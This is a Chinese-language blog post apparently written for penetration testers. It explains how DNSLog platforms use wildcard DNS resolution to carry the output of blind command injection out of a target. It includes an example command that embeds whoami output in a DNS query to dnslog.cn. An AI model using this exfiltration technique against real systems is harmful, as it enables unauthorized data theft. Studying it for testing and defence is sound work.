在渗透测试过程中,有时会找到命令执行点,但其无回显,一种方法就是通过文件下载,直接在攻击机中下载Shell;另一种便是DNSLog。

DNSLog是通过域名的泛解析,带外传输网站响应的手段。常用的DNSLog平台为http://dnslog.cn/
DNS请求为递归方式,如下图所示。

image.png

其原理就是通过本地DNS请求,例如请求6zft4l.dnslog.cn,首先主机会在本地hosts中查找相应域名的DNS解析缓存,如果没有,则通过本地配置的DNS解析服务器,如114.114.114.114、8.8.8.8、1.1.1.1等请求根域名DNS解析,即.,随后会挑选最近的根域名解析服务器,解析.cn.;然后继续递归,查询.dnslog.cn.。到此,便来到了DNSLog平台的可控区域。

由于域名能够自主设置ns服务器地址,比如在将腾讯云购买的域名放至Cloudflare托管时,就需要更改ns服务器地址。此时,当访问6zft4l.dnslog.cn的域名解析时,DNS服务器会记录下申请该解析的IP和时间。

那么这对回显有什么作用吗?

在Linux操作系统中,输入ping whoami.6zft4l.dnslog.cn时,操作系统首先会执行whoami指令,再将指令返回值拼接到外层指令中,最后即ping root.6zft4l.dnglog.cn。本地主机则会对root.6zft4l.dnglog.cn这个域名进行DNS解析,从而在DNSLog平台上看到whoami命令的执行结果。

dig +trace root.6zft4l.dnglog.cn 可查看DNS服务器查询链路,最终解析结果一般为127.0.0.1。

DNSLog平台上显示的IP并非本地主机的公网IP,而是本地DNS服务器分配的IP,例如本地DNS服务器IP为1.1.1.1,当本地主机向1.1.1.1发送DNS解析请求时,1.1.1.1服务器会将DNS请求转发至其DNS解析服务器群,再另其进行下一步解析。

标签: DNS

添加新评论